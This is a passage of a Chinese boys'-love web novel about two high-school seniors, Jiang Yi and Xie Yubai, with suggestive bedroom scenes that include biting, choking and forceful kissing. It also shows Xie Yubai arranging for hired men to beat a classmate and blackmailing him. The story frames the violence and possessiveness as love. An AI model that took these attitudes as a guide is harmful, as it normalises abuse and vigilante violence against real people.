谢逾白眼神幽幽地看着他。 难道又是因为自己?谢逾白是什么顶级恋爱脑!江逸脑壳疼,“我不知道你脑子怎么长的,学习聪明,一到大事就犯糊涂。你耍帅呢?你的物理竞赛成绩用不上了?早知道我跟你费什么劲?”江逸越说越气愤。 谢逾白递给他一杯水, 语气轻描淡写, “我不去政法大学,东大有法律系。” 江逸把水杯重重放在餐桌上, 发出叮咣一声, “原来你挖坑等着我?谢逾白, 你是傻逼吗?东大只是我随口说的, 我分数差了近50分,你认真什么?” 谢逾白眼神迷恋地看着他, “我不认为你只是随口说的, 我亲眼见证你为了篮球赛带伤上场的样子, 见过你熬夜做题的样子,你在拼尽全力。” “你知道我在拼尽全力,那你呢?谢逾白,我拼尽全力还是得不到,唾手可得的你,为什么不努力一下?因为你不想跟我分开?” 江逸暴躁地看着他,“到底怎么样,你才能相信我, 四年异地期间,我对你不会变,这样行不行?” 谢逾白面色微变,睫羽垂下,“我不相信任何保证,人心易变。” “你怎么这么难搞?上.床行不行?”江逸已经快疯了。 谢逾白眉心陷进去,“你在说什么东西?” 江逸神色疯狂,双眼熠熠,抓住他的手:“我让你上,你乖乖努力上政法大学。” 谢逾白黑色眼瞳划过一抹微光,“你在侮辱我?” 江逸脑子里全是问号,“怎么是侮辱你?我对你发出邀请而已。” “你认为我因为什么跟你在一起,我为了这个?我每次抱你,你软到不行,如果我为了这个,我早就得手了。我是为了长久跟你在一起!” 谢逾白声音沉冷,“我绝对不接受你为了这种目的,跟我提这个,你看轻了我对你的感情,也看轻了我。” 他的胸口不停地起伏,江逸摸了摸鼻尖,真不知道自己哪里冒犯了他,“不答应就算了,你吼我干什么?” “我没吼你。” “刚刚那么大声不是吼,是什么?”江逸来脾气了,快速吃完面条,单腿跳着往楼上去。 谢逾白从身后环住他的胳膊,“对不起,我刚刚没有想吼你。” “还有呢?” 谢逾白喉咙一哽,“以后不那么大声了。让我抱你上去。” 江逸剜他一眼,“让你抱我?会不会侮辱你?” “不会。” “我不要。” 谢逾白把人抱起来,“很晚了,送你回去睡觉。” 江逸脑子嗡的一声,又要送他去谢逾白妈妈的房间,他毛骨悚然,“我要洗澡。” “你房间里有浴室。” “我要去你房间洗澡,你房间我更熟悉。” 谢逾白脚步停了下,眼神审视他,“这么晚了,你要去我房间洗澡?不洗了行不行?明天还要上学。” “十一点,我要洗澡,不洗澡你能放心让我上床?”谢逾白有洁癖,肯定忍受不了的。 “有什么不行?你的话不洗澡也可以。”谢逾白轻描淡写地说。 剧情不按照预料的发展,江逸只能耍赖,“我就要去你房间洗澡。” “依你。”谢逾白把他放在椅子上,帮他调好淋浴,“你快点洗。” 江逸进去,慢腾腾地脱掉衣服,开始洗澡,过了一会儿,他推开一点浴室的门,探出个脑袋,白皙脸颊上湿乎乎的,“谢逾白,我用哪个浴巾?” 谢逾白诧异地看他,尽量忽视他白皙的锁骨,将视线放在他的脸上,“浅灰色的,上次你用过一次。” 江逸把浴巾围好,又打开玻璃门,“我用哪个毛巾?你竟然挂了十一条毛巾,你身上有那么多部位需要擦吗?” 谢逾白:“浅蓝色的。” “有两个浅蓝色。” “随便。” 江逸赤.裸上半身走出浴室,深栗色头发末梢滴水,很奇特,怎么有男生皮肤是这样的,白瓷似的。 谢逾白看上一眼,额头的青筋冒出来了,“江逸,你作死是不是?怎么不穿睡衣?” “你没给我找。” 谢逾白腾地起身,风驰电掣地拿来睡衣,毫不客气地扔向他,“你赶紧给我换上。” 江逸脸不红气不喘地用浅蓝色毛巾擦拭胳膊上、胸口的水珠,琥珀色瞳孔保留着沐浴后的水润色泽,唇色异常鲜艳,看上去十分可口。 他身上有种又纯又欲的气质。谢逾白无法控制自己看他。 江逸扣好一粒粒扣子,手勾住腰带一松,冲谢逾白挑了下眉尾,穿上黑色内裤,穿裤子的时候,他声音吊儿郎当的,“谢同学,我脚疼,你能不能帮我一下?” 谢逾白黑眸中染满了暗色,他沉声说,“江逸,你想干什么,嗯?” 他掌控住江逸的腰,“说说,你今晚想怎样?一会儿渴了,饿了,要洗澡。” 江逸带着水汽的无辜眼神看他,“我没想怎么样,困了,让我在你房间睡吧。换床我睡不着。” “我对你什么心思,你不知道?你洗的干干净净地上我床?你晚上让不让我睡了?”他把人抱到床上,沉着脸审视眼前的人。 江逸打了个哈欠,眼角溢出了点生理性泪水,“以前又不是没睡过,我相信你啊,你对我的感情我信得过,你今晚说的,我不能看轻了你对我的感情。” 他伸手轻佻地拍了拍谢逾白的侧脸,眼眸带笑,“不用你给我穿睡裤了,穿太多睡觉不舒服。” 他自顾自扯开被子,钻了进去,笑盈盈地看着谢逾白,“你还有事没?没事我先睡了。” 谢逾白直挺挺地坐在那里,一动不动,耳垂已经泛红。 江逸单手支着头,姿态闲适地侧头看过来,嘴角的弧度很迷人,“我想起一些事,当时你生病,我去医院看你,每次碰你,你一副要杀人的紧张模样,那时候的你,是不是跟你现在的状态一样?” 他暧昧地看了眼谢逾白的腰腹,“谢逾白,你那么纯洁,身体怎么这么诚实?” 谢逾白身体猛然压了下来,大手按住他的脖颈,江逸顿时呼吸不畅,脸迅速变红,“咳咳,你轻点。” 谢逾白嘴唇压着他的耳骨,温热呼吸往他耳道里钻,“江逸,我警告你,今晚不许再作。否则,我饶不了你。” 脖颈上的桎梏松开,江逸大口喘气,“你体内是不是有什么暴虐基因?脖子肯定给我捏红了。” 谢逾白闭上眼,面部线条略僵硬,唇线拉紧。 房间里留了一个小夜灯,或许今晚听他说了很多小时候的事,江逸动了恻隐之心。或许两人三天不见,他有些担忧,江逸不困,他睁着一双明亮的眼眸看着谢逾白。 谢逾白规规整整地穿着睡衣,睡觉的姿势端庄,直直的一长条,不像自己七扭八歪的,要抱着被夹着枕头。 他的眼睫浓黑,眉弓高,外貌很有欺骗性,纯洁高不可攀的气质,淡色的薄唇在月色下有种禁欲感。 江逸心脏不规律地猛跳,舔了舔发干的嘴唇,眼神发热,脸颊发烫。 以前,如果有人跟他说,只看着另一个人,就会心跳加速,他会骂醒那人。现在发生在他自己身上,江逸心脏跳个不停,方寸大乱。 睡不着,像刚打完球,神经兴奋,他匍匐起身,顾及着脚踝处的伤,他看着床头那边的夜灯开关,想过去关灯。 他伸长手臂,姿势费力,手刚触及开关。 他眼神一扫,发现谢逾白睁开了眼睛,深黑的眼瞳在暗夜里色彩浓重。 江逸一个激灵,身体失衡,人摔在了他身上,谢逾白喉咙发出低沉的喘气,“江逸,你想干什么?” 江逸清澈的眼眸眨了眨,“我只是想关个灯,你信吗?” 谢逾白眼瞳微微眯起,声音粗喘地说,“关灯?开关在我身上?” “应该不在吧。”江逸抬手擦了擦冷汗。 “下去。” “好嘞。”江逸移动身体,四肢隔着被子跟他摩擦。 谢逾白手指扣紧他的后背,薄薄的眼睑半垂着,眼珠儿漆黑像个幽深的漩涡,嗓子沉哑,“你别动了,给我抱一会儿。” 他的额头细汗淋淋,黑发洒在床铺上,一张极为出色的面孔,让江逸有些失神,“谢逾白,这么抱着你,我也受不了。” “你要怎么样?”谢逾白一滴汗顺着脸侧往下滑。 江逸盯着他汗珠的轨迹,“不知道你听没听说,不是恋爱关系的两个人,也可以上.床,我们要不要试一试?”这话说出来,他的脸皮烫极了,估计谢逾白下一秒就要把他掀下去。 谢逾白喉结滚动了下,一把扯开他的衣服领子,把他粗暴地拽过去,江逸惊呼一声,锁骨处一痛。 他被谢逾白死死咬住,痛到浑身汗毛倒立起来,“疼,你他妈的,咬我干什么?” 牙齿狠狠拽住一片皮肉,那里的肉很薄,痛感强烈,谢逾白完全没有停下的意思,位置换成胸口,又是一口,江逸连喊叫的力气都没有,嗓子眼只剩下气音,“你、有完没完了?疼死了。” 谢逾白眼神阴森森的,“你先是要甩我,又大半夜勾引我,你不想疼还想爽?” “谁勾引你了?说了不是有意摔倒的。”江逸用眼睛斜他,眼底水光一片,有些楚楚可怜。 谢逾白的下一次啃.咬,落在他的唇上,江逸脑子轰隆隆一声巨响,心脏快要跳出来,嘴唇被咬到发麻,没有厮磨,没有□□,没有伸舌头,他却被激得浑身发抖,尾椎发麻。 “谢逾白,你不是人。” 50-60 第51章 你属狗的 谢逾白看着趴在他身上, 眼睫颤抖的人,江逸脸颊不知道是被气得还是被咬的,脸憋得通红, 双眼茫茫一片水雾,下唇被自己咬出了艳色。 谢逾白开始心疼,翻身把人放在枕头上,他拉下江逸的衣领查看,被咬的两处留有清晰的牙印。 他刚要把人抱进怀里,江逸推了他一把, 眼里满是怒气, 腿往窗边挪动。 “你要去哪?”谢逾白抱住他的腰,禁锢住他的动作。 “我去林飞羽房间睡。” 谢逾白嘴角往下, 唇线绷着, “你敢?” “在你这, 让你虐待我?我不在这儿!” “你为什么不去我妈妈房间睡?”谢逾白隐约猜到了答案, “你害怕?” “怎么可能?我换床不习惯。” 谢逾白用力把人往后抱,哄他:“回来好好睡觉, 我不动你了。” “晚了。”江逸指了指自己的嘴唇, 又指自己身上火辣辣疼的地方, “你属狗的,虐待我,还想让我跟你睡?” 谢逾白神情一僵,抬手一粒粒解开睡衣扣子,露出性感的胸肌,形状清晰的腹肌,他半垂着眼皮,声音散淡, 冷冷的质感,“我让你咬回来,可以吗?” 江逸瞪着他,“你现在身体的情况,让我咬你,你当我傻?我越咬你,你越爽。” “那你想怎么办?” “你欠着我这三次,我想要的时候再咬,你不能反抗,随便我咬你。不行,加上利息,五次。” 谢逾白垂着眼皮,“我答应你,来睡觉吧。”他摆好枕头,关了夜灯。 江逸瞪着一双亮晶晶的眼眸,眸中光彩流转,黑暗中盈盈动人。 “还疼?”低沉的声音混合着心疼。 “疼死了。”江逸的声音委屈。 谢逾白:“……” “怎么能不疼?” “你唱首歌听。” “我不会唱歌。” “讲个故事来听。” “我不会讲故事。” 江逸火了,“你长这么高的个子,唱歌不会,讲故事不会,你会干什么?” “聊聊天吧,江逸,你是不是怕鬼?所以不敢在我妈妈的房间睡。” “我太困了,我想睡觉了。你明天会去上学吗?” “会去。” 江逸松了一口气,伤口没有那么疼,麻麻的,苏爽的,只是在那个暧昧的氛围下,忽然被咬了几口,让人接受不了。 谢逾白好像一直是他难以预料的人,充满了未知,不知道他下个动作能做出什么事。 第二天早晨,几人坐车返回学校,江逸坐在后座耷拉着眼皮,林飞羽不经意扫过他,一惊一乍的,“逸哥,你嘴怎么了?” 江逸无精打采地看他,“怎么了?” “你嘴角破了,像被咬的,不对,昨天吃晚饭的时候你还没这样,我们睡着以后,大雪天的,你偷跑出去约会了?” “你想象力真丰富。” “你太惯你对象了,你这么个大帅逼,谈恋爱怎么总吃亏。” 陈最呵呵一笑,“你个土鳖,没准这是人家两人之间的情趣。” “你俩别瞎说了行不行。”江逸头往后仰,靠着座椅后背,透过后视镜看到谢逾白的眼神正在打量他。 两人的视线短暂相接,江逸撇过头看向窗外,高大的树木齐刷刷地向后退。 他此刻心情复杂,如果说有一件事比跟一个人恋爱,慢慢靠近那个人相比,更难,是跟那个人拉远距离,喜欢一个人,却不能亲密地接触。 到了学校,明天期末考试,氛围异常紧张,任老师见到谢逾白回来,喜悦之情溢于言表,他找了个机会,把江逸叫到办公室。“江逸,你没让老师失望,情商这一块,咱班你是翘楚。” 江逸衣服下面的伤口还在隐隐作痛,心想,代价还挺大的。 “老师的话你别不相信,别看你现在成绩落后……” 江逸掀起眼皮,心里抓狂,等待着下文。他跑神了一分钟终于等到了任老师的后半段话。 “……但是,你情商高,为人有亲和力,办事靠谱,能吃苦,能屈能伸,你这样的性格,进入社会,遇到合适的机会,会混得风生水起。” 江逸揉了揉耳朵,“老师,您夸张了。” “我教了这么多届学生,懂得怎么识人,老师的眼光不会错。” “我跟谢逾白聊了下,他想学法律专业。” 任老师长长叹气,“我跟他姐姐聊天的时候,提及过这件事,本来以他的聪明才智,在哪个行业都会是佼佼者,更何况他家八家顶级律所。他学律师情理之中,可惜现在晚了。” 江逸问:“为什么晚了?” “法律专业是文科,我们高考报名已经结束了,他转不了文科了。” 江逸顿感一阵头疼,“他为什么不一开始就学文科,这下麻烦了。” “这事就你知道?他姐姐和爸爸早就知道,谁也劝不了他,谢逾白这孩子性格很执着,平时我跟他谈话,他不想说的,一句也不说。” 任老师见江逸有点担心的样子,宽慰他,“没事,现在政法大学也招收理科生,经济法和法律双学位的。他的成绩考那里绰绰有余。可能会富裕50多分。每个专业成绩的前百分之2%,很多大学有转专业的政策,这件事并非无法弥补。” 江逸顿感轻松了很多,“还好,办法总比困难多。” “你知道吗?高一刚入学,谢逾白本来分到的是一班,不是我班,他主动找到校长调到我们班。我有理由怀疑,谢逾白喜欢的人就在我们班。他姐姐也透露过,谢逾白学理科来我们班,甚至来一中,全是为了一个人。” 江逸脸色变了,他知道谢逾白喜欢他跟久了,从四年前开始,对他跟别人不同。但他万万没想到,谢逾白来一中,甚至来十一班,学理科全是为了他。 这种震撼感让他呼吸不顺畅,心脏像被人揉成了一团。他竟然稍微能理解谢逾白想留在他身边,甚至放弃去顶尖大学的疯狂想法。 任老师拍了拍他的肩膀,把江逸的思绪拉了回来。 “老师,东大的法律专业,跟政法大学没有可比性吧?” “你说呢,分数差了一百多分,能有可比性,一个是top985,从师资力量到毕业发展,一个天上,一个地上。你怎么想到这么对比的?东大的体育都比法律好。谁要考东大的法律?” 江逸哪敢跟他多说一个字,任老师如果知道谢逾白有这个想法,当场就能发飙。 他一边想着这些事,一边走路,往回走,没注意到前面过来一个人,肩膀重重地撞到江逸身上,他脚腕还没完全好,被撞得一个踉跄,后背撞到走廊白墙上。 江逸眼眸往上一抬,对上一人,肖城,家里挺有钱,据说是个暴发户,长得人模狗样的。 “你眼瞎了?”对于这种人,江逸从来不惯着。 “切,你这种小白脸,有什么了不起?” 江逸眼神冷厉,“你他妈说谁?” “说的就是你,一个男生长得一脸妖气。”肖城看着这张过于好看的脸,气不打一处来,他舔了校花两年了,前阵子刚有点松动,后来又不同意了。 他稍微打听了一下得知,温梨初一直喜欢这个狗逼,甚至他前阵子表白还被拒绝了,这么一个小白脸,除了这张脸好看一穷二白的,哪里值得了? 肖城正琢磨着,怎么说,怎么做,才能骗这小白脸放学跟他打一架,以解心头之恨。 江逸扯了一下衣领,嘴角轻慢地一撇,“放学约一个?” 他先开口了?得来全不费工夫,肖城嚣张地笑了笑,“行,明天晚自习下课学校外面,东边小树林。” 江逸挑了下眉,“单挑还是群架?” 肖城笑容僵住,这人约架太在行了吧,他有种危机感,“单挑,要期末了,打什么群架。” 江逸轻哼,挑眉看他,“你这么在意期末考试,不如换一天?” “我在意什么。”他只是不想校花以为他智障影响下一代,“我老爸给我挣的钱这辈子,下辈子都花不完,学习成绩而已,对我有什么用。” 江逸吊儿郎当地说,“哎,别小瞧自己,以你的能力,肯定会把你爸的钱败光的。” “江逸!你……” “小点声,希望你挨打的时候,能叫得好听点。”江逸偏了偏头,挑衅地瞥他一眼,往前走。 他路过走廊,教室里面的女生刻意跑出来,一副见到偶像的惊喜表情,时不时有女生拍照。 真特么拉风,肖城拳头更痒了。想到温梨初花痴他的模样,他五指攥得咔咔响。 他没注意到,在走廊的另一个转角,一个高挑的男生,漆黑的眸子极为冰冷地扫过来,嘴角的弧度轻慢。 从谢逾白面前路过的两个值日生,跟他对视了一眼,吓得倒抽一口凉气,他们手里拿着拖把,差点蹭到了谢逾白的脚。他们连连道歉,“对不起,对不起,我们不是故意的。” 谢逾白单手插兜,眼皮都没抬,两人一溜烟地逃跑了。 回到座位,谢逾白双手十指交叉,琢磨着,用什么方法对付肖城解恨,法子太多,一时之间难以抉择了。 这些学生不禁玩,上次那个篮球队长,找几个人揍了一顿而已,声泪俱下,没劲。 单纯打人没意思,免费看一出戏来玩玩?就是演员丑了点。 第52章 猜猜我现在想对你做什么…… 肖城奇了怪了, 今晚要跟江逸约架,晚自习第一节课,温梨初忽然叫他去东边小树林。 那里既是约架圣地, 又是约会圣地,想起她圆溜溜的大眼睛,肖城飞似的赶到目的地。 哪知道,迎接他的是温梨初的怒意,雪白的巴掌甩在他脸上,肖城有点懵了, 他是家里的小儿子, 平时娇生惯养,哪里受过这种委屈? 温梨初气得脸色红红像辣椒, “肖城!你明明知道我喜欢江逸, 亏我拿你当朋友, 你竟敢去找他麻烦?去死吧你!” “他那种小白脸, 配吗?” 温梨初又要来打他,被肖城抓住手腕, 把人按在了一棵树上。 温梨初吓坏了, 肖城是她同班同学, 这两年对她百依百顺,她甚至想过跟他谈恋爱,始终迈不过去心理这道坎,没想到肖城敢这样对她! 她大声呼救,一条大长腿把肖城直接踹翻了,一个冷感低沉的声音响起,“刚刚录像的视频发给我。” 男生黑色的发丝浓密,眉棱挑起, 脸部线条利落刚硬,是学校的风云人物,谢逾白。 他不是个三好学生吗?打架这么厉害。 他没有像别的男生那么绅士,温梨初跟他道谢,他目不斜视,冷静地吩咐身后的几人,“动手。” 那些人带着帽子和口罩,看不清脸,身体健硕不像是学生,打人的动作专业利落,不打要害,十几分钟,肖城哀嚎不已,不成人样。 斜靠在树干上的谢逾白,眼皮偶尔动了动,模样闲适,像来春游的,他一脚踩在瘫在地上的肖城后背,嘴里的血流到雪地上,“为什么打我?我爸不会放过你!” 谢逾白脚上用了点力气,肖城顿时大叫,他声音平淡,“你要考虑的是我会不会放过你和你爸。你好好表现,我不动你爸,他不用去牢里度过下半辈子。” 谢逾白拍了下手,有人推过来一个男生,房硕,肖城的发小,狐朋狗友中关系最好的。 肖城大喊:“你把他弄来做什么?” 谢逾白指了指房硕:“你可以开始了。” 房硕扑通一声跪在地上,眼泪流下来:“阿城,你惹上不该惹的人了,他太可怕了!他要把我打死,你别怨我,我把你的事全告诉他了。我还不想死,我弟弟妹妹还小……” “你他妈告诉他什么了?” “你嗑药,强.暴酒吧那个女生,我跟你说了她未成年,你非要动她。” 肖城感觉他的世界塌了,他手抓住谢逾白的脚,“求求你,给我一次机会,我以后不敢了。” 谢逾白脚尖一挑轻松摆脱他,站在一旁,居高临下,冷冷睨他,“我从来不给人第二次机会。” “三天内,你滚出一中。还有,求得江逸的原谅,我或许让你少进去几年。” 肖城没有力气起来,看着阴冷的天空。 谢逾白看着呆傻了的温梨初,“你先报警。然后跟我一起回学校。” 温梨初木偶似的打了110,声音结巴,“你还要回学校吗?” 谢逾白若无其事地看了看手表,“能赶上最后一节晚自习。” 温梨初看着他的脸,看傻了,谢逾白还是人吗? 他刚刚跟个修罗阎王似的,这会儿又要回去上自习了。世界上怎么有这么可怕的人?妈妈,呜呜,她想回家。 按照约定时间,江逸一个人来到小树林,找了一圈肖城这货根本没来,这家伙看着虚,办事也是个孬种。 他的电话响了,陌生号,接通传来肖城的声音,含糊不清,跟门牙漏风似的,“江逸,我是肖城,我去不了了,我们之间的事全是我的错,对不起,我愿意接受一切道歉的条件,求求你,原谅我。” 江逸一头雾水,“你神经病犯了?” “我求你原谅我,给你下跪磕头,还是赔钱赔房子,只要你愿意原谅我,我怎么都可以。” “赶紧去吃药吧你。”江逸挂电话,这不是个神经病吗? 他忽然有种熟悉的感觉,上次的篮球队长貌似也是这个语气,难道这件事跟谢逾白有关? 江逸回拨电话,“是不是有人收拾你了?” 肖城支支吾吾不敢说,又是一顿求饶。 肖城转学的消息很快在学校传来,他在小树林骚扰温梨初,她第一时间报了警。据说肖城不是初犯,这件事传得沸沸扬扬,闹得挺大的。 江逸看着正坐在座位上,云淡风轻地做英语笔记的谢逾白。 江逸的脚毫不客气地踢了几下谢逾白的椅子,“起来,跟我出去。” 谢逾白掀起薄薄的眼睑,“去哪?” “东边小树林。” 午休时间,阳光正好,他们漫步在校园,肩膀相抵,江逸频频侧头看他,只看外表,谢逾白绝对是妥妥的好学生,校服拉链总是拉到固定的位置,露出凸起的喉结,修长的脖颈,眼神松散傲慢。 进了树林,江逸把人推到了一颗树上,“招吧,你把肖城怎么了?” 谢逾白挑了挑眉棱,“你为什么这么肯定是我,喜欢你的人那么多,不能是别人?” 江逸嗤笑,“这些人里,这么变态的只有你。”有能力做得这么赶尽杀绝,心思缜密的只有他。 谢逾白摊手,“没错,是我。” “你是不是闲的?搭理那种人做什么?你收拾他的过程有没有犯法?”江逸面带愠色,心里有些担心。马上要高考了,他不想谢逾白出任何差错。 “犯法?我犯什么法了?” “少装蒜,肖城被打得不轻,难道打人不犯法?” 谢逾白讽刺地笑着,“你看漫画书的时候,我已经开始读法律专著了,我怎么可能犯法。顶多算以暴制暴。借他一百个胆子,他也不敢报警。”目前他手里攥着的东西,肖城和他爸十年八年出不来。 江逸抓住他的胳膊,“谢逾白,你曾经说过法律是对人的最低标准。” “我说过的话,你记得还挺清楚。” “不是报警了,走法律程序了,才叫犯法,你这种违反法律,即使没人敢追究也不行。” 见他还是一副无所谓的样子,江逸急了,膝盖顶住他的膝盖,手按住他的肩膀,目光直直钉入他的眼底,“你这样,我怎么放心让你当律师?” 谢逾白抿紧嘴唇,“你少管我。” “你先管的我!”江逸大声喊,“谁让你管我了?我打得过肖城。” “期末考试期间,你努力那么久,人渣敢来干扰你,就凭他在走廊推你那下,够他死的了。”谢逾白眼神寒冷,唇角冷飕飕的。 他眼里的寒意,让江逸一瞬间相信,谢逾白什么事都干得出来。江逸震撼,有些恐惧。 谢逾白眼神淡淡,“你害怕我?我就是这么恐怖的人。”他早就知道他不正常,不知道是童年过得太过压抑,还是妈妈去世的打击。破坏和暴力能让他获得短暂的快意。 “我就这样,你如果觉得可怕,大可以离我远点,反正你也不打算跟我好了。”谢逾白声音空洞,木然地往下说。 “离你远点,然后呢?你会不再过问我的事?如果再发生这种事,你会袖手旁观?” 谢逾白淡笑,“不会。我收拾他,是因为他惹到我了。” “你真以自我为中心啊!”江逸的心情自己也说不清楚,他知道谢逾白处理问题的方式不妥,让他担忧,又不知道能把人怎么样,这种被保护的感觉让他有种安全感,爽感。 他手拍掉谢逾白肩膀上的落叶叶,斑驳的树影在谢逾白肩膀晃动。 “你以后不能独自行动,有事跟我商量,不能冒险,不能犯法,知道吗?” 谢逾白撇开头。 江逸手心覆上他的脸颊,眼神痴痴地凝视着他,眸光紧锁他高挺笔直的鼻梁,深邃幽深的眼眸。 每当谢逾白望向自己,眼神全神贯注,将全部的心思与情感,倾注其中。 他眼底的光一下子击中江逸的心脏,让他手脚发麻,江逸看了片刻,脸渐渐靠近,两人鼻尖相贴,他甚至能看清谢逾白美人痣的形状。 心跳震撼着耳骨,江逸什么也听不清,只剩下眼前的人。 他快速眨动眼睛,喉咙咽了咽,身体向后仰,想拉开两人的距离。 他的后背被按了回去,唇瓣撞上了谢逾白的,力度不小,江逸口腔里有种血腥味。 “你要亲我吗?”谢逾白哑着嗓子开口,眼底一片深情,如深沉的海水。 “我不能冒犯你,也不能轻视你的感情。” 谢逾白表情不耐,含住他的唇,粗暴地亲吻他,折磨他的唇肉,舌头舔过他口腔里的每一寸。压住他的舌头,在他口腔里抽.送,深深地吻他,直入喉咙地吻,仿佛某种动作,强制,掠夺,似乎要吸走他所有的空气,让他整个人软在谢逾白怀里。 看着江逸那张红透的脸,肤色白皙透明,谢逾白抚摸着他的唇,嘴唇鲜艳欲滴。他凑近江逸发烫的耳根,声音低哑,“猜猜我现在想对你做什么?” 江逸张开嘴唇,清澈的瞳孔放大,“你……” “你猜错了。”谢逾白咬住他的唇瓣,手按住他的腰,顺着衣襟卷进去,顺着他光滑瘦削的脊背抚摸,摸到了尾椎骨,“想把你变成我的。” 第53章 他喜欢的人,是我。…… 谢逾白很少有这么直白的时候, 江逸忽视自己紊乱的心跳,脸往他侧颈偏去,唇瓣摩擦着他薄薄的皮肤, 糟糕,他现在太喜欢跟谢逾白接触了。 江逸忍着发烫的脸,嗓音干涩地说,“你答应我去政法大学,你要什么我都给你。我们尽情享受剩下的半年时光。” 两根修长的手指抵在江逸额头,把人从侧颈上掀走, 谢逾白淡淡笑着, “你打的好主意。每次发生肢体接触,舒服的是谁?占便宜的是谁?” 江逸眸子稍微抬了下, 瞪了他一眼。 谢逾白整理好他的大衣领口, 帮他重新系好围巾, “找个地方, 我把今天整理的英语必考语法点给你梳理了,我再看着你做一些针对性的练习题。” 期末考刚结束, 他这么严厉吗?江逸一时之间无法适应, “你不能让我喘口气?刚考完试。” 谢逾白面不改色地说:“如果你考不上东大, 我也不知道怎么办了,专科技校很少有法学。” 我日,摆明了瞧不起自己,江逸火大:“还有二本,怎么也不可能去专科!” “是,走吧。”谢逾白对他伸出手,“不谈恋爱,我们做朋友牵个手行不行?” 江逸一掌拍在他手上, “做梦去吧,俩男生牵什么手。” “上次我们在图书馆,去买奶茶的时候,你牵过我的。” 江逸抿嘴笑了笑,“我看你呆啊,想拉我好几次了,手一直抖,我才牵你的。” 原来他一直都知道,谢逾白看着他,“当时把你乐坏了?” “还好吧。”江逸心中有些甜蜜。 夜色穿过碧色树影,两人踩在雪上,深一脚浅一脚地往外走,江逸看着地上颀长的影子,开口问,“谢逾白,即使我们在一个大学,我也不跟你进一步发展。就这样朋友不朋友的关系,有意思吗?” 他比较喜欢清清楚楚的,开始和结束,有话说清楚。 谢逾白眸色暗了些,缱绻的眼神看着他,“每天能见到你就有意思。不一定非要做什么。” 这他妈是什么纯爱发言! 江逸一噎,接不下去了。他相信谢逾白能忍,毕竟他为了自己来一中,来这个班级,竟然能忍住两年半不表白,甚至两年半交集不多,说话很少。 “今天任老师找我了,他提到一个有意思的事,他怀疑你偷偷恋爱了。” “一部分是事实。怎么了?” “他说你当年凭借超高分,本来学籍不在一中,特意考过来,还选了一班。” 谢逾白脚步停下,垂着头,脸埋在阴影里,看不清表情。 江逸心中一软,忽然不想逼问他了,打了个哈哈,“怎么可能,任老师就是爱乱推理。” 谢逾白声音低沉,“如果是,你会有压力吗?一个人如此疯狂的,不计后果的,这样靠近你。” 你靠近个鬼了,江逸噗嗤一笑,“你靠近我两年半了,我还跟你不熟?误以为你喜欢我兄弟?” “现在呢?现在你知道了,还有我今晚的表现,你会感到害怕和极端吗?” 江逸手指抵着下颚,想了想,“有点意外,你不能再做这么危险的事,打人终究是不对的。要文明解决问题。” 谢逾白眼睑微撩,“你约了他单挑在先。”那语气,意思是你自己先犯的。 “能一样吗?我们只是小打小闹,跟你那种把人打进医院能比吗?”他扯了下谢逾白被冻得透红的耳朵,“我说你听着,反驳什么。你下手那么重,还有理了?以后遇事你能不能冷静点。同学之间,偶尔冲撞一下,有必要下狠手?” 谢逾白抓住他的手,面无表情地看他,“万一他让你受伤了怎么办?万一你们打架的事情被学校知道了记过了,影响你升学怎么办?但凡他有点脑子,使阴招怎么办?我不会允许这种意外发生。” “真牛逼啊你。当你自己是判官?你这种人当了律师不知道是好还是坏。”江逸觉得他有点像电视剧里那种崇尚完美犯.罪的人。 “你犯过罪吗?” “犯过,不是跟你说过?”谢逾白嗓音散淡。 “以后不要了,我会担心。”江逸想到谢逾白打架时候的狠劲,以及捅过他父亲,这人真能豁出去。 “如果当时,我真的跟周靖泽在一起了,你会怎么办?”江逸问出口就知道自己在作死,还是没忍住。 谢逾白眉峰紧紧蹙起,眼神凌厉,满脸透着我不高兴,“能不能别说这个。” “你怂什么。” “可能会独自消失吧。”谢逾白的语气淡淡的,声音微弱。 “为什么不强.制爱?”江逸看过一些狗血剧,“你没打算继续争取?你不是手段挺多的?” 谢逾白脸色沉得可怕,声音冷凝,“你想我重蹈覆辙吗?我妈妈怎么去世的?” 他妈妈?因为要离开,他父亲不允许,走投无路吞药的。 谢逾白把江逸拽进怀里,鼻子闻着他身上清新的味道,“我说过,没有人可以勉强你,包括我。” 他能给的最好的爱,给你选择的权利,选择去爱,选择不爱。 “你想走的时候可以走,但我想留在你身边,不要抛弃我。以后不要说结束,不要说玩完这种话,我不想再承受。不管是恋人还是朋友,我们之间没有结束。” 江逸鼻尖发热,情绪犹如一股洪流,在他心间流淌,谢逾白太让人心疼,“你没必要把自己的姿态摆得这么低。”人与人之间,本不必这么掏心掏肺,伤筋动骨的。 “江逸,决定只看着你的那一刻,我就没有选择了。”或许在四年前,他从江逸手里接过削好的苹果那一刻,他已无法自拔。 * 江逸看着手机屏幕里,傅现发来的消息:【今晚八点,临江宴,约了两位东大去年体育特招进来的学长,不见不散。】 江逸手指托着右侧脸颊,手指轻轻敲着,看着斜前方人的后脑勺,谢逾白连后脑勺也比其他人长得周正。 他在想什么?没事分析谢逾白的后脑勺做什么。 谢逾白转头,递过来一张模拟卷,“今晚你做这套,晚上我们去咖啡厅,我把错题给你讲了。” 江逸食指压着卷子,有些心虚,他眼神往上飘,“今晚我有点事,改明天吧。” 谢逾白眼尾掠过来,“什么事?” 江逸懵了,嘴巴自动地说,“宋越约我。” 谢逾白眼神在他脸上巡视一圈,“约在哪儿?”如果在酒吧,他也可以去。 “临江宴,还有别人在。” 谢逾白一向不喜欢见生人,他说,“结束的晚吗?用不用我去接你?” “接什么接,很奇怪你知不知道。”江逸想咬舌头,他脑子离家出走了?说什么乱七八糟的东西。 江逸算是个自来熟,今天的饭局关系着他过两天的面试,他却格外心不在焉。 傅现好心帮他把去年面试通过的两位学长邀请过来,一点点引导他们回忆去年的面试流程,出了哪些题目,应该如何回答等。江逸原本最擅长这种场合,今晚时不时就会出神。 他一边给刘学长倒酒,一边分神想着什么。 刘学长笑着提醒,“学弟,满了满了,别倒了。” 傅现笑着打圆场,“江逸见到你们太激动了,如果以后有幸成为校友就好了。” “他可以的。” 江逸脸上挂着随意的笑容,“托两位学长的福。” “我们跟队长关系铁的很,自己兄弟,不用见外。”傅现的哥哥傅临在大学是个风云人物。 江逸听他们说的同时在手机上,记下要点。 散场的时候十点半。 大学生酒量好,江逸很少喝这么多,平时啤酒两瓶当个乐子喝。今天白的啤的红的一起混着喝,最容易醉。他脚步虚浮,傅现家的司机等在门口。 傅现扶着他的胳膊走过去,“上车,我送你回去。” 江逸摆手,“你回家太晚了,我打车。” “你看周围有车吗?” 